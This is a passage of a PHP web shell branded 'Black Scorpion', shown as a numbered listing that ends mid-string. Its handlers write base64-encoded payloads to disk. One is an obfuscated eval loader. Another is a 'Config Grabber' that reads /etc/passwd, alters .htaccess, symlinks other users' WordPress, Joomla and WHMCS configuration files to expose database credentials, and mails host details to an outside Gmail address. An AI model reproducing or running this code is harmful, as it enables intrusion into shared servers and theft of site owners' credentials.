  2757. $joomre = "PD9waHANCi8qDQoJCVRoZSBHaXZlbiBDb2RlIFdhcyBTdWNjZXNzZnVsbHkgT2JmdXNjYXRlZCBCeSBCbGFjayBTY29ycGlvbiANCgkJCQkJCUZyb20gOiBodHRwOi8vMTI3LjAuMC4xL3NoZWxscy9lbi5waHANCgkJCQkJCQkJCVRoYW5rcyBGb3IgVXNpbmcgOkQNCgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCbGFjayBTY29ycGlvbiBPYmZ1c2NhdGlvbg0KKi8NCiRibGFja2llID0gIlpYWmhiQ1V5T0NVeU55VXpSaVV5Tm1kMEpUTkNKVEkzTG1kNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZkVzVqYjIxd2NtVnpjeVV5T0dkNmRXNWpiMjF3Y21WemN5VXlPR2Q2ZFc1amIyMXdjbVZ6Y3lVeU9HZDZhVzVtYkdGMFpTVXlPR2Q2YVc1bWJHRjBaU1V5T0dKaGMyVTJORjlrWldOdlpHVWxNamh6ZEhKeVpYWWxNamdsTWpSQ2JHRmphMTlUWTI5eWNHbHZiaVV5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVeU9TVXlPU1V5T1NVelFnMEsiOw0KJEJsYWNrX1Njb3JwaW9uPSAiPT1Rb3dHcFdJczY1c2JpcE1kcmpnK0p1MHE1aHliUGw3YTI4UHUxRUxuSXoxSFhoQUZSakFhbVhjdDNaZ0hpZDVqcHJ3bGJpTHVXYXgyM1pJOGdSaTV0bjBZbHp6QndmWGJ2L1pJZjFjczMzakZQLzJnei9JM2ZnNThzRVI5cDluaTFmMjRzZmVtMTc1ZktqMHV0aTBPL3Y3MGxMUTl2YnRJdjR2N2JaS1hDM0x6ZUc0RmFNOFZ1RUNaMkxiYVdqeDZYSkZTSEJZMm5aUzR2ZjlkNCs1VDJDdzZNK0dJMGtYa3ZRdTBlczl0VkpodUkrM2hBYmZkS3U2R1luMHo2c1poaHZhUnZTaTVmT0ZUUHorUTJTc2JyRDVzeXV0a0ZHQTdacm1JRUhNdDRhZXdJUXpJdEpubVZVTEdlOE5QOE5PcnBQc2RKQlY2ZnF5ZHN5WjVUR2owNzhyOXJyNFVVeW1jSWNBaEpuMWc0aXhoSzBRMkw3UjZSd3FwVkxOYVVhMHdDZklKYVFWNFdoa0xBc2FOVFE4U1QzM3M0c1lXWjVNRVNQT2IvN0RINnBZTjd0NVNiWDVaakRtallBeGw0OUlyUjlpREg1elFLd3pNcmUvb0VPVVFQWXlKbGRySWdwbzhLYjNLS0JBQXZVV2FzWU5PNlltaGZPdkVkMVNGZzhMZ21OTW8yU29yRkhKK0xXVlliRGloR0UwdmdaaDJDNFFGa1lCQXdZSGZhMWVPUW5yZDNhb1NEejlOV2tOUm0vQUJKU3JEWkVOTlE1dXJyTXg5cUdSZFcrZjU1WTRWeE9WN0p2UlM2Z3pBRDhvQVFRa09Ed0dqcC8xeDJ5YWF3YXN2REdhSDZGcmQ0SnhQNmdjYWtCN0VDUTlmRWowRTVLZ0hJY0NQYWV2OUJCWDJaSVJPNFNlQU5YTk9wQmVyZ3UvR0dBRmNKeWNEa0ZDZTlNRllvbjJjZ3pRV3dUc3BKck9CSFBxT1lnZVk5SGZqRHJlc1FUYjM1Vm1Ib1lMWGNzVkZrcXlLT1BSbnhDSUNVSENKZGJoYTh5bXJxL3RiTWJiZ2h6U2xyQ2RHbDF2VWNHN3JjSUVsdzc5eHQyZjEyK2dkMmxPdGtDRXpLWVdtcGE1TlFkZ2p1T2FqUmtXVGNSRklyRzJOZmdzSDJEVlo5WFdPQzF6WDdUSnhWd1BoVWlpckY4dmpSN0NTdmRoM09KaTk1UUNFNU1XNFhScmxPSlZOc1hyS3B5OUZmU3E2YjBPa1FWZUpFZjkrMVBMeENXaGlMbWprWE5FWkZzZEtCTFlBZGFJRFQ4YU9SVzlOZmNJazR3OUYrcUt1bjJBS1Q5OW1qVWx2bXE1UXFaZS9JZklHd1RUWVRUZ0wyRDZwK3BpRjhxRzRmbGV4ZExBbUViWUpyMk9ON3dsYkhLdG1lSUltUCs2SHB0dkd6Z28zcktiR3lhV09GMEhOeEVsRmk1QXNsM3E4SlFKU3NHc0FHeHlMbVVleFhCRnQ2ZXZUaWlHM3EzekZKNnFTZmpHRk14d2w1NjJ3SitvQTI2KzhwSVhibVIrL2hFQ2xWYXcwYmpyb3I1bGdMU0hWQkl2MTJhbTVnRUhGQXAzUUJONHdsdlpuUDE0Uk5wUis2SnhHREg4WEhMdEF3bkgySGxpZmNQZnVSUk04Y1JzVHc5R01vUWxWVFU2c01yYnorTk1MeEdDT21uZU9yWGQrOWJCOGl1U3AzZW9aNS9BVWh0MzVNazhmaDZKMzM2eXFqd3JiRTVuWlJDQU14elNkWmhEV1ZPcUdaMmtaS2NMenUvekdmYzIxOG9TS0hHOEE3dy84TXRmaXhKdjA4NU5Ub0lOdTEyUktVQzRqRnVaTllydHlNUmRmUzl5Q0pVWUE5TlR2ZVJXeTRuZUxaTVAyOXV5L3JUTXNzQTMvT3I1bG96aHpld1l3elN5RDh1b1VVaHIwV1RHMUozQjRkdUJoNk1KcFNMQ1VGekJrajZEaUJoSTBqY0VuL1FIeGNqa3lBRWxXa3FwUFFRWEhZVklyTDhwbkJzMGZSOVJNTk5uOHFMc3FQVUZPeERmQ1AyU00wQ2xDZFFXOHNkYWhzaGpIMlpITS96TUNtVDh4UlJybWVXRzZIUkFQRkc1bCt4NEluTExXZ3Q2SUJjeGx1ZUtoSlFxUjhUdFBuN1FSa1krS3kyeXNCTm12SEpzYVpZU3d0TlA1NEJMYU9ldmJKVFNSa1hORzFJRkhMR1B2amdsc3pGK1p4ZldCWXFQMVU0Y0hJWGZuQVBrQzVWT3A4d2c3azR4T1dBOXRSSGlLb3lRNGoxV2tNWU9vQWNkTTZUeTFtT25aTDg4YTA5UjdiWmQrZFpmRTNOaDUyTFkrNEpIT3hTaU5JSE96ZDl5dlFJZTF6MjVKZWZIN1pBaVFERmYzQUtWeXhJUWxiT0NQZ2ozREZhSHdNT0RhK1NyQzNKakJIaytZWDdSVkRxTkxvQzZsZFJpUmNUblRSWFpMdVFBcjVMOXludVdXc0p5NFpWa2V5b2pqRWxSdEdHMU95bmo1bHlyUm8wMFV4czh5ODVTbWdHUEpUTGVYZTQyQld4Z1lkWDVZTFFIbHJvSDZ4UlBCR1B4TTF1bnk2VlZnYWxJU0lFdjBMUlE3Y3Yxb0VYTzkwRUY2a0thelMyYnlBaVUzcnRENEFpanZOY1NQRURGSEVabUcvMnpTcFlFRW5WT0dhaWtTNHN4RUtvMVZlL3gzTWlVUGlOazhJQksyUmpQaGNPalM0alBmYmNvR0RXaW45eXIreERLZm44RUk2WDAydkhhRkhQSEtZbkpJdUczNlJYaEpyWWJiUm9Idm5iM0czanNNeG5icWxWblNNOVFYU0d2cXNCOW9PamxnWHQyQ0ZqNzVVVnNCRytHeXFiV0M3RU9vU0VmZStkRlNaMnA5Q3Z3ajd4Y2NYMVloRE0rUVpyRktXV2ZvZ2RGOGVaZGtrRjJUbURJUGp1TVp0MTJ6S0NrbUtrejdjdEpIRjcwM2pFMW5SbDFRSEVjWDd6ankwMmNZdXJKN2dXbkEvRWNOOVBKY2IySDY4Szh1eUZsVnZ2VmFnaVVmQnRpanRxL1VodHZUL2UzUks0WkFSaWtLQmNhVk5ocGFab0pyN1pSeDFHenhPdXRrbTFpVjAwbXBMUmhSdGh1NkJGRnJhVjY0QmQxYnNWbm5sSlJTR0tHUGl0aFZlb29SMVQ4d2ZuZEQ4UVFtcUxFVWlHc3ljbHpvanMvMFkvaWNwV3BnSjlNWjBMcjhVdThjUDlLVE13SC95cHQzVFN0R09GMDNCMFA3dE9GcWtSLys3UUdWSkgwUmZpemRncXlSUUhOQTFjVCswNkNNWkNITGM2RkJMc0ZMYWdIUVl3Q0VZRXBqOXdKdzJkaDhrUVU2dUhLQk1YcHpacmRxM2k2RGxvaFFUVXVCZHdPdFNkejJMYUJaV1FtL3hwN2o2bFpSQTFGeGxyYWtGemJRSlVXeHpya3dhMEVWb25Ga2VCZncxUSs3UHVYNmMwMDcvN3FIa2VMSC9QemJvZDVML1cycXlaUWpvYlR6UWQxN2o1YzNuZm5FdW5NV09KS0wvNlYvS1JMT1d3RTF0QWVNRXhUbGlYdS9mT1VJQWlYaTNCWFl6LzUrZjhhOXBuVjZ2ZGVDUElkaVhCUm1SZHFLRHVuZUEzU3h3dVpVdmRkbCt4eEgvcDVKY1pHcG5MOW43ZnZwTW85S2ZmNy8zUEErN2Juai9ub0YvL205RjdmYVA5L011ZmQvbnFtUFBkRG5ndm10UGozQ1QvL3c0MXIvZmVEdVRibXpGNEJQSDZYSmZFRUN4Tjd2c0xXMSsrM05FVG04K2c3MWUvTjBWNkhtVXpOZjZHczlXUE5tTjU4bW16eG1VRzhhLzJZbDc1TlRqMXp4WDhGOExMR08rZjUxR1diT2ZMSnJ2ZmYvOHk0dlIrK24vZDN5di96QjY5QzZRcVBGbFRWdVFubFhJNXlhODdUZWYzckRQNVRiQ3hZaE5ha050SkVta3hjYUlrN3R3eXQ4UStsTzMxR0dCMnMrOFJYMk9uNGRmU0lZYkFjaTM5K2dRd0J3SmUzUERDTUhBbjRkUEtJY2RBY2kzOWRnZzRCd0plM0xCQ3RIQW40ZC9CSWdmQWNpbjk4bndBQndKZTJIZkNPRUFuNFp2NUprUkFjaW45Ym5BSkJ3SmUyRGRDdkVBbjRaZnhKb1RBY2luOTZtUVJCd0plMi9hQ1FGQW40WlBwSnNWQWNpbjlabWdaQllQbEpzV0EiOw0KZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZSh1cmxkZWNvZGUoYmFzZTY0X2RlY29kZSgkYmxhY2tpZSkpKSk7DQpleGl0Ow0KPz4";
  2758. $blackscorpionS = @fopen("joomla.php", "w");
  2759. @fwrite($blackscorpionS, base64_decode($joomre));
  2760. @fclose($blackscorpionS);
  2761. header("Location:joomla.php");
  2762. }
  2763.  
  2764.  
  2765.  
  2766.  
  2767. if (isset($_POST['blackscorpionbypass'])){
  2768.  
  2769.  
  2770. }
  2771.  
  2772.  
  2773. if (isset($_POST['configgrabber1'])){
  2774. $configgg = 'PGh0bWw+CjxoZWFkPgo8dGl0bGU+Q29uZmlnIEdyYWJiZXI8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgoJCQlib2R5IHsKCQkJYmFja2dyb3VuZC1jb2xvcjogIzFkMDIwMjsKCQkJU0NST0xMQkFSLUZBQ0UtQ09MT1I6ICMwMDAwMDA7IAoJCQlTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiAjMDAwMDAwOyAKCQkJU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzAwMDAwMDsgCgkJCVNDUk9MTEJBUi1CQVNFLUNPTE9SOiAjMDAwMDAwOwoJCQljb2xvcjogd2hpdGU7CgkJCX0KCQkJb3B0aW9uIHsKCQkJCWNvbG9yOiAjMDA5OTAwOwoJCQkJdGV4dC1hbGlnbjogY2VudGVyOwoJCQkJZm9udC13ZWlnaHQ6IGJvbGQ7IAoJCQkJZm9udC1mYW1pbHk6IGN1cnNpdmU7CgkJCQlib3JkZXI6IDFweCBzb2xpZCAjMDA3NzAwOwoJCQkJYm9yZGVyLXN0eWxlOiBncm9vdmU7CgkJCQliYWNrZ3JvdW5kLWNvbG9yOiAjMDA5OTAwOyB9CgkJCXNlbGVjdCB7CgkJCQljb2xvcjogd2hpdGU7CgkJCQl0ZXh0LWFsaWduOiBjZW50ZXI7CgkJCQlmb250LXdlaWdodDogYm9sZDsgCgkJCQlmb250LWZhbWlseTogY3Vyc2l2ZTsKCQkJCWJvcmRlci1sZWZ0OiBibGFjazsKCQkJCWJvcmRlci1yaWdodDogYmxhY2s7CgkJCQlib3JkZXItc3R5bGU6IGdyb292ZTsKCQkJCWJhY2tncm91bmQtY29sb3I6IGJsYWNrOyB9CmlucHV0ewp0ZXh0LXNoYWRvdzogIzc3Nzc3NyAwcHggMHB4IDNweDsKYm9yZGVyOiA0cHggc29saWQgIzAwNzcwMDsKYm94LXNoYWRvdzogMHB4IDJweCA0cHggIzAwNzcwMDsKY29sb3I6ICMwMDk5MDA7CnRleHQtYWxpZ246Y2VudGVyOwpib3JkZXItdG9wOjFweCBzb2xpZCAjMDA3NzAwOwpib3JkZXItbGVmdDoxcHggc29saWQgIzAwNzcwMDsKYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzAwNzcwMDsKYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMDA3NzAwOwpiYWNrZ3JvdW5kOnRyYW5zcGFyZW50OwpoZWlnaHQ6IDI1cHg7CmZvbnQtc2l6ZToxN3B4Owp9CnRleHRhcmVhIHsKdGV4dC1zaGFkb3c6ICM3Nzc3NzcgMHB4IDBweCAzcHg7CmJvcmRlcjogMXB4IHNvbGlkICMwMDc3MDA7CmJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDc3MDA7CmNvbG9yOiAjMDA5OTAwOwp0ZXh0LWFsaWduOmNlbnRlcjsKYm9yZGVyLXRvcDoxcHggc29saWQgIzAwNzcwMDsKYm9yZGVyLWxlZnQ6MXB4IHNvbGlkICMwMDc3MDA7CmJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMDc3MDA7CmJvcmRlci1yaWdodDoxcHggc29saWQgIzAwNzcwMDsKYmFja2dyb3VuZDp0cmFuc3BhcmVudDsKfQp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHkgYmdjb2xvcj0iYmxhY2siIC8+Cjw/cGhwCgokdXJsPSJJUDogIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIlxuVXJsOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4iXG5Vc2VyIElQOiAiLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLihpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXSk/JygnLiRfU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddLicpJzonJyk7CiAgICBAbWFpbCgiYW5kcmV3Y2hyaXMxMTlAZ21haWwuY29tIiwiY29uZmlnIiwkdXJsKTsKCmVjaG8gIjxicj48Y2VudGVyPjxzcGFuIHN0eWxlPSdmb250LXNpemU6MzBweDsgZm9udC1mYW1pbHk6RnJlZGVyaWNrYSB0aGUgR3JlYXQ7IGNvbG9yOiNkY2ZmNWYnPkNvbmZpZyBHcmFiYmVyPC9zcGFuPiI7Pz48L2NlbnRlcj48YnI+PGNlbnRlcj48P3BocCBpZiAoZW1wdHkoJF9QT1NUWydjb25maWcnXSkpIHsgPz48cD48Zm9udCBmYWNlPSJUYWhvbWEiIGNvbG9yPSIjZGNmZjVmIiBzaXplPSIycHQiPi9ldGMvcGFzc3dkIGNvbnRlbnQ8L3A+PGJyPjxmb3JtIG1ldGhvZD0iUE9TVCI+PHRleHRhcmVhIG5hbWU9InBhc3N3ZCIgY2xhc3M9J2FyZWEnIHJvd3M9JzE1JyBjb2xzPSc2MCc+PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTsgPz48L3RleHRhcmVhPjxicj48YnI+PGlucHV0IG5hbWU9ImNvbmZpZyIgY2xhc3M9J2lucHV0emJ1dCcgc2l6ZT0iMTAwIiB2YWx1ZT0iRmlyZSA+PiIgdHlwZT0ic3VibWl0Ij48YnI+PC9mb3JtPjwvY2VudGVyPjxicj48P3BocCB9aWYgKCRfUE9TVFsnY29uZmlnJ10pIHskZnVuY3Rpb24gPSAkZnVuY3Rpb25zPUBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpO2lmKGVyZWdpKCJzeW1saW5rIiwkZnVuY3Rpb25zKSl7ZGllICgnPGVycm9yPlN5bWxpbmsgaXMgZGlzYWJsZWQgOiggPC9lcnJvcj4nKTt9QG1rZGlyKCdibGFja3Njb3JwaW9uX2NvbmZpZycsIDA3NTUpO0BjaGRpcignYmxhY2tzY29ycGlvbl9jb25maWcnKTsKJGh0YWNjZXNzPSIKT1BUSU9OUyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzIFN5bUxpbmtzSWZPd25lck1hdGNoIEluY2x1ZGVzIEluY2x1ZGVzTk9FWEVDIEV4ZWNDR0kKT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkZvcmNlVHlwZSB0ZXh0L3BsYWluCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIApBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwKQWRkVHlwZSB0ZXh0L2h0bWwgLnNodG1sCkFkZFR5cGUgdHh0IC5waHAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAKQWRkSGFuZGxlciB0eHQgLnBocApBZGRIYW5kbGVyIHR4dCAuaHRtbApBZGRIYW5kbGVyIHR4dCAuc2h0bWwKT3B0aW9ucyBBbGwKT3B0aW9ucyBBbGwiOwpmaWxlX3B1dF9jb250ZW50cygiLmh0YWNjZXNzIiwkaHRhY2Nlc3MsRklMRV9BUFBFTkQpOyRwYXNzd2Q9JF9QT1NUWyJwYXNzd2QiXTskcGFzc3dkPWV4cGxvZGUoIlxuIiwkcGFzc3dkKTtlY2hvICI8YnI+PGJyPjxjZW50ZXI+PGZvbnQgY29sb3I9I2IwYjAwMCBzaXplPTJwdD53YWl0IC4uLjwvY2VudGVyPjxicj4iO2ZvcmVhY2goJHBhc3N3ZCBhcyAkcHdkKXskcGF3ZD1leHBsb2RlKCI6IiwkcHdkKTskdXNlciA9JHBhd2RbMF07QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtd3AudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9XUC93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtV1AudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AxMy13cC1iZXRhLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtYmV0YS50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ByZXNzL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AxMy1wcmVzcy50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtd29yZHByZXNzLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvV29yZHByZXNzL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AxMy1Xb3JkcHJlc3MudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AxMy1Xb3JkcHJlc3MudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkdXNlci4nLWNvbmZpZ2dnLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtbmV3cy50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy93cC1jb25maWcucGhwJywkdXNlci4nLXdwMTMtbmV3LnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkdXNlci4nLXdwLWJsb2cudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AtYmV0YS50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AtYmxvZ3MudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3AtaG9tZS50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2RiLnBocCcsJHVzZXIuJy1kYmNvbmYudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCR1c2VyLictd3Atc2l0ZS50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJHVzZXIuJy13cC1tYWluLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictd3AtdGVzdC50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1qb29tbGEyLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYS1wcm90YWwudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb28vY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYS1jbXMudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLWpvb21sYS1zaXRlLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1qb29tbGEtbWFpbi50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3MvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLW5ld3MudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLW5ldy50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictam9vbWxhLWhvbWUudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkdXNlci4nLXZiLWNvbmZpZy50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG0xNS50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NlbnRyYWwvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictd2htLWNlbnRyYWwudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictd2htLXdobWNzLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL1dITUNTL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXdobS1XSE1DUy50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvV0hNL2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXdobWMtV0hNLnR4dCcpO0BzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCR1c2VyLictd2htY3MudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkdXNlci4nLXN1cHBvcnQudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy1qb29tbGEudHh0Jyk7QHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdWJtaXR0aWNrZXQucGhwJywkdXNlci4nLXdobWNzMi50eHQnKTtAc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHVzZXIuJy13aG0udHh0Jyk7fWVjaG8gJzxiIGNsYXNzPSJjb25lIj48Zm9udCBmYWNlPSJUYWhvbWEiIGNvbG9yPSIjMDBkZDAwIiBzaXplPSIycHQiPjxiPkRvbmUgLT48L2I+IDxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJibGFja3Njb3JwaW9uX2NvbmZpZyI+T3BlbiBjb25maWdzPC9hPjwvZm9udD48L2I+Jzt9Cj8+CgoKPC9ib2R5Pgo8L2h0bWw+';
  2775. $file = @fopen("conf.php", "w");
  2776. @fwrite($file, base64_decode($configgg));
  2777. @fclose($file);
  2778. header("Location:conf.php");
  2779. }
  2780.  
  2781. if (isset($_POST['dogi'])) {
  2782. $dogi = "XEZGXEQ4XEZGXEUwXDAwEEpGSUZcMDABAVwwMFwwMAFcMDABXDAwXDAwXEZGXERCXDAwXDg0XDAwCQYHExMSFRMSExYVFRcYFRcYGBUVFRcVFRgWFRYXFRUXFRgdKCAYGiUdFRUhMSElKSsuLi4XHzM4My03KC0uKwENCg0KDQoODQoOGxAQGy0lICY1Ly0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxGRlxDMFwwMBEIXDAwXEI3ARMDASJcMDACEQEDEQFcRkZcQzRcMDAcXDAwXDAwAgMBAQEBXDAwXDAwXDAwXDAwXDAwXDAwXDAwXDAwXDAwBAUCAwZcMDAHAQhcRkZcQzRcMDA7EFwwMAEDAwMCBAUBBQgCA1wwMFwwMFwwMAFcMDACEQMEIQUSMUFRBiJhcRMyXDgxXDkxXEExXEIxFFw5MlxDMVxEMVxGMBYjM0JSclxFMVxGMQdiFVw4MlxCMlxGRlxDNFwwMBoBXDAwAwEBAQFcMDBcMDBcMDBcMDBcMDBcMDBcMDBcMDBcMDBcMDABAgMEXDAwBQZcRkZcQzRcMDAqEVwwMAICAgIBBAEEAgNcMDBcMDBcMDBcMDBcMDBcMDABAhEDIRIxBBMiQVFhFDJxXEYwXEIxXEMxI0JcODFcRkZcREFcMDAMAwFcMDACEQMRXDAwP1wwMHlSXDkzXDlDZCZ2R2xKd1pcRDB2S1xFRSlcQzBZcnhcRjBcOENCXEE1XEIyXEVBXDk3I2pdWlxFOEFcOTUGXEQ3BFxDMVReXDgxB1xEOWRwdFxFOHsEXEFGW3cFXDAwaxZcOThXUx3UiwEqUVxDMVxDQRdhXEU4eVxBNFxCNFxCQ0JiXEVCbVxCOSpcOUQOXEEwXDAwJlxEN1xGNFxGNzBcQzJcRjU8fDBwXEZDXDkyXDlDXDlBZgfFt01gXDkxzKxcRkQLXDhEXEY4DQpeLnFcREQEXEZGXDAwUlw4QvC9rLdcOENcQUNeRVlUXEY0RlxEQsOtXEE4dzwtLlw5MWopHVxBMU1cQ0QtHC9cOUFzCXlxVFxDOVxDMVxGOFxGNFxCQicmXERCGlxERQJGElw4Mkt6LShcOERcQUFcOUZcRDlbHmxcQ0FcQzVcRTNcRjhcQkPWh1xCNFxCNlxDQ1xERFxDRFxDNlxGNlxFMRFcQTI8XD